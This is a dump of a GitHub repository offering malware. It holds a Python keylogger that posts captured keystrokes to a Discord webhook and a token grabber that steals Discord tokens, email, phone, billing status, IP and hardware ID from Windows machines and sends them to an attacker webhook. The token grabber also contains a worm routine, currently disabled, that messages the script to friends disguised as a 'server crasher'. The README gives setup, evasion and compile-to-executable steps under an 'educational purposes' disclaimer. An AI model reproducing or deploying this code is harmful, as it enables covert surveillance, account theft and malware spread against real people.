├── .gitignore ├── LICENSE ├── README.md ├── discord_keylogger.py ├── requirements.txt └── token_grabber.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Build and Release Folders 2 | bin-debug/ 3 | bin-release/ 4 | [Oo]bj/ 5 | [Bb]in/ 6 | 7 | # Other files and folders 8 | .settings/ 9 | 10 | # Executables 11 | *.swf 12 | *.air 13 | *.ipa 14 | *.apk 15 | 16 | # Project files, i.e. `.project`, `.actionScriptProperties` and `.flexProperties` 17 | # should NOT be excluded as they contain compiler settings and other important 18 | # information for Eclipse / Flash Builder. 19 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 ●┼Waseem Akram••✓⁩ 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # FUD Keylogger That Reports To Discord # 2 | 3 | This python script will capture all of the keystrokes within a given time frame and report them to a Discord Server using Webhooks. Instead of the traditional "save to file" or "report to email" methods, you can use this method to stay undetected since webhook requests are considered as normal Discord Traffic. 4 | 5 | ## Getting Started 6 | 7 | Make sure you have Python installed on your machine, you download the installer from [here](https://www.python.org/downloads/). 8 | 9 | ## Installation 10 | ``` 11 | git clone https://github.com/evildevill/discord-keylogger.git 12 | ``` 13 | 14 | ## Install Required Libraries 15 | ``` 16 | python -m pip install -r requirements.txt 17 | ``` 18 | 19 | ## Create a Discord Server 20 | 21 | You can follow [this](https://support.discord.com/hc/en-us/articles/204849977-How-do-I-create-a-server-) article on how to do that. 22 | 23 | ## Create a Discord Webhook 24 | 25 | Got to your servers settings select Intergrations >> Webhooks and create a new Webhook. You can also customize it and give it a name and a featured icon. Make sure to copy the URL, you will need it later. 26 | 27 | 28 | ## Edit keylogger.py 29 | Its time to edit the python script. Now that you have the Webhook URL, you can add that to the file. Also make sure to add your desired timeframe that they keylogger will report to you. You have to add the time in seconds so you can use [this](https://www.calculatorsoup.com/calculators/conversions/time.php) converter to get the correct time in seconds. 30 | 31 | ```Python 32 | import keyboard,os 33 | from threading import Timer 34 | from datetime import datetime 35 | from discord_webhook import DiscordWebhook, DiscordEmbed 36 | 37 | SEND_REPORT_EVERY = TIME_IN_SECONDS_HERE 38 | WEBHOOK = "WEBHOOK_URL_HERE" 39 | ``` 40 | 41 | ## Execute the script 42 | 43 | You are now ready to test the script and see whether if it works or not. If you are having problems with the script please open a new ticket on the issues tab and i will try to help you. 44 | 45 | To execute the script all you have to do is run: 46 | ``` 47 | python keylogger.py 48 | ``` 49 | If all goes right, you should see a report on discord after the seconds you have specified on the script have passed. 50 | 51 | ## Compile the script 52 | 53 | Now what if you want to turn this into an executable? You can do that with the pyinstaller library that was included in the requirements.txt file. 54 | ``` 55 | pyinstaller PATH_TO_SCRIPT --onefile --noconsole 56 | ``` 57 | ## ⚠️ DISCLAIMER ⚠️ 58 | 59 | **I am not responsible for any of your actions. This GitHub repository is made for educational purposes only!!!** 60 | -------------------------------------------------------------------------------- /discord_keylogger.py: -------------------------------------------------------------------------------- 1 | import keyboard,os 2 | from threading import Timer 3 | from datetime import datetime 4 | from discord_webhook import DiscordWebhook, DiscordEmbed 5 | 6 | SEND_REPORT_EVERY = 10 7 | WEBHOOK = "WEBHOOK" 8 | 9 | class Keylogger: 10 | def __init__(self, interval, report_method="webhook"): 11 | now = datetime.now() 12 | self.interval = interval 13 | self.report_method = report_method 14 | self.log = "" 15 | self.start_dt = now.strftime('%d/%m/%Y %H:%M') 16 | self.end_dt = now.strftime('%d/%m/%Y %H:%M') 17 | self.username = os.getlogin() 18 | 19 | def callback(self, event): 20 | name = event.name 21 | if len(name) > 1: 22 | if name == "space": 23 | name = " " 24 | elif name == "enter": 25 | name = "[ENTER]\n" 26 | elif name == "decimal": 27 | name = "." 28 | else: 29 | name = name.replace(" ", "_") 30 | name = f"[{name.upper()}]" 31 | self.log += name 32 | 33 | def report_to_webhook(self): 34 | flag = False 35 | webhook = DiscordWebhook(url=WEBHOOK) 36 | if len(self.log) > 2000: 37 | flag = True 38 | path = os.environ["temp"] + "\\report.txt" 39 | with open(path, 'w+') as file: 40 | file.write(f"Keylogger Report From {self.username} Time: {self.end_dt}\n\n") 41 | file.write(self.log) 42 | with open(path, 'rb') as f: 43 | webhook.add_file(file=f.read(), filename='report.txt') 44 | else: 45 | embed = DiscordEmbed(title=f"Keylogger Report From ({self.username}) Time: {self.end_dt}", description=self.log) 46 | webhook.add_embed(embed) 47 | webhook.execute() 48 | if flag: 49 | os.remove(path) 50 | 51 | def report(self): 52 | if self.log: 53 | if self.report_method == "webhook": 54 | self.report_to_webhook() 55 | self.log = "" 56 | timer = Timer(interval=self.interval, function=self.report) 57 | timer.daemon = True 58 | timer.start() 59 | 60 | def start(self): 61 | self.start_dt = datetime.now() 62 | keyboard.on_release(callback=self.callback) 63 | self.report() 64 | keyboard.wait() 65 | 66 | if __name__ == "__main__": 67 | keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="webhook") 68 | keylogger.start() 69 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | keyboard 2 | discord_webhook 3 | pyinstaller -------------------------------------------------------------------------------- /token_grabber.py: -------------------------------------------------------------------------------- 1 | import os 2 | if os.name != "nt": 3 | exit() 4 | from re import findall 5 | from json import loads, dumps 6 | from base64 import b64decode 7 | from subprocess import Popen, PIPE 8 | from urllib.request import Request, urlopen 9 | from datetime import datetime 10 | from threading import Thread 11 | from time import sleep 12 | from sys import argv 13 | LOCAL = os.getenv("LOCALAPPDATA") 14 | ROAMING = os.getenv("APPDATA") 15 | PATHS = { 16 | "Discord" : ROAMING + "\\Discord", 17 | "Discord Canary" : ROAMING + "\\discordcanary", 18 | "Discord PTB" : ROAMING + "\\discordptb", 19 | "Google Chrome" : LOCAL + "\\Google\\Chrome\\User Data\\Default", 20 | "Opera" : ROAMING + "\\Opera Software\\Opera Stable", 21 | "Brave" : LOCAL + "\\BraveSoftware\\Brave-Browser\\User Data\\Default", 22 | "Yandex" : LOCAL + "\\Yandex\\YandexBrowser\\User Data\\Default" 23 | } 24 | def getheaders(token=None, content_type="application/json"): 25 | headers = { 26 | "Content-Type": content_type, 27 | "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11" 28 | } 29 | if token: 30 | headers.update({"Authorization": token}) 31 | return headers 32 | def getuserdata(token): 33 | try: 34 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=getheaders(token))).read().decode()) 35 | except: 36 | pass 37 | def gettokens(path): 38 | path += "\\Local Storage\\leveldb" 39 | tokens = [] 40 | for file_name in os.listdir(path): 41 | if not file_name.endswith(".log") and not file_name.endswith(".ldb"): 42 | continue 43 | for line in [x.strip() for x in open(f"{path}\\{file_name}", errors="ignore").readlines() if x.strip()]: 44 | for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"): 45 | for token in findall(regex, line): 46 | tokens.append(token) 47 | return tokens 48 | def getdeveloper(): 49 | dev = "wodx" 50 | try: 51 | dev = urlopen(Request("https://pastebin.com/raw/ssFxiejv")).read().decode() 52 | except: 53 | pass 54 | return dev 55 | def getip(): 56 | ip = "None" 57 | try: 58 | ip = urlopen(Request("https://api.ipify.org")).read().decode().strip() 59 | except: 60 | pass 61 | return ip 62 | def getavatar(uid, aid): 63 | url = f"https://cdn.discordapp.com/avatars/{uid}/{aid}.gif" 64 | try: 65 | urlopen(Request(url)) 66 | except: 67 | url = url[:-4] 68 | return url 69 | def gethwid(): 70 | p = Popen("wmic csproduct get uuid", shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) 71 | return (p.stdout.read() + p.stderr.read()).decode().split("\n")[1] 72 | def getfriends(token): 73 | try: 74 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/relationships", headers=getheaders(token))).read().decode()) 75 | except: 76 | pass 77 | def getchat(token, uid): 78 | try: 79 | return loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/channels", headers=getheaders(token), data=dumps({"recipient_id": uid}).encode())).read().decode())["id"] 80 | except: 81 | pass 82 | def has_payment_methods(token): 83 | try: 84 | return bool(len(loads(urlopen(Request("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token))).read().decode())) > 0) 85 | except: 86 | pass 87 | def send_message(token, chat_id, form_data): 88 | try: 89 | urlopen(Request(f"https://discordapp.com/api/v6/channels/{chat_id}/messages", headers=getheaders(token, "multipart/form-data; boundary=---------------------------325414537030329320151394843687"), data=form_data.encode())).read().decode() 90 | except: 91 | pass 92 | def spread(token, form_data, delay): 93 | return # Remove to re-enabled 94 | for friend in getfriends(token): 95 | try: 96 | chat_id = getchat(token, friend["id"]) 97 | send_message(token, chat_id, form_data) 98 | except Exception as e: 99 | pass 100 | sleep(delay) 101 | def main(): 102 | cache_path = ROAMING + "\\.cache~$" 103 | prevent_spam = True 104 | self_spread = True 105 | embeds = [] 106 | working = [] 107 | checked = [] 108 | already_cached_tokens = [] 109 | working_ids = [] 110 | ip = getip() 111 | pc_username = os.getenv("UserName") 112 | pc_name = os.getenv("COMPUTERNAME") 113 | user_path_name = os.getenv("userprofile").split("\\")[2] 114 | developer = getdeveloper() 115 | for platform, path in PATHS.items(): 116 | if not os.path.exists(path): 117 | continue 118 | for token in gettokens(path): 119 | if token in checked: 120 | continue 121 | checked.append(token) 122 | uid = None 123 | if not token.startswith("mfa."): 124 | try: 125 | uid = b64decode(token.split(".")[0].encode()).decode() 126 | except: 127 | pass 128 | if not uid or uid in working_ids: 129 | continue 130 | user_data = getuserdata(token) 131 | if not user_data: 132 | continue 133 | working_ids.append(uid) 134 | working.append(token) 135 | username = user_data["username"] + "#" + str(user_data["discriminator"]) 136 | user_id = user_data["id"] 137 | avatar_id = user_data["avatar"] 138 | avatar_url = getavatar(user_id, avatar_id) 139 | email = user_data.get("email") 140 | phone = user_data.get("phone") 141 | nitro = bool(user_data.get("premium_type")) 142 | billing = bool(has_payment_methods(token)) 143 | embed = { 144 | "color": 0x7289da, 145 | "fields": [ 146 | { 147 | "name": "**Account Info**", 148 | "value": f'Email: {email}\nPhone: {phone}\nNitro: {nitro}\nBilling Info: {billing}', 149 | "inline": True 150 | }, 151 | { 152 | "name": "**PC Info**", 153 | "value": f'IP: {ip}\nUsername: {pc_username}\nPC Name: {pc_name}\nToken Location: {platform}', 154 | "inline": True 155 | }, 156 | { 157 | "name": "**Token**", 158 | "value": token, 159 | "inline": False 160 | } 161 | ], 162 | "author": { 163 | "name": f"{username} ({user_id})", 164 | "icon_url": avatar_url 165 | }, 166 | "footer": { 167 | "text": f"Token Grabber By Astraa", 168 | } 169 | } 170 | embeds.append(embed) 171 | with open(cache_path, "a") as file: 172 | for token in checked: 173 | if not token in already_cached_tokens: 174 | file.write(token + "\n") 175 | if len(working) == 0: 176 | working.append('123') 177 | webhook = { 178 | "content": "", 179 | "embeds": embeds, 180 | "username": "Discord Token Grabber", 181 | "avatar_url": "https://discordapp.com/assets/5ccabf62108d5a8074ddd95af2211727.png" 182 | } 183 | try: 184 | urlopen(Request("ENTER_YOUR_WBHOOK_URL", data=dumps(webhook).encode(), headers=getheaders())) 185 | except: 186 | pass 187 | if self_spread: 188 | for token in working: 189 | with open(argv[0], encoding="utf-8") as file: 190 | content = file.read() 191 | payload = f'-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="file"; filename="{__file__}"\nContent-Type: text/plain\n\n{content}\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="content"\n\nserver crasher. python download: https://www.python.org/downloads\n-----------------------------325414537030329320151394843687\nContent-Disposition: form-data; name="tts"\n\nfalse\n-----------------------------325414537030329320151394843687--' 192 | Thread(target=spread, args=(token, payload, 7500 / 1000)).start() 193 | try: 194 | main() 195 | except Exception as e: 196 | print(e) 197 | pass 198 | --------------------------------------------------------------------------------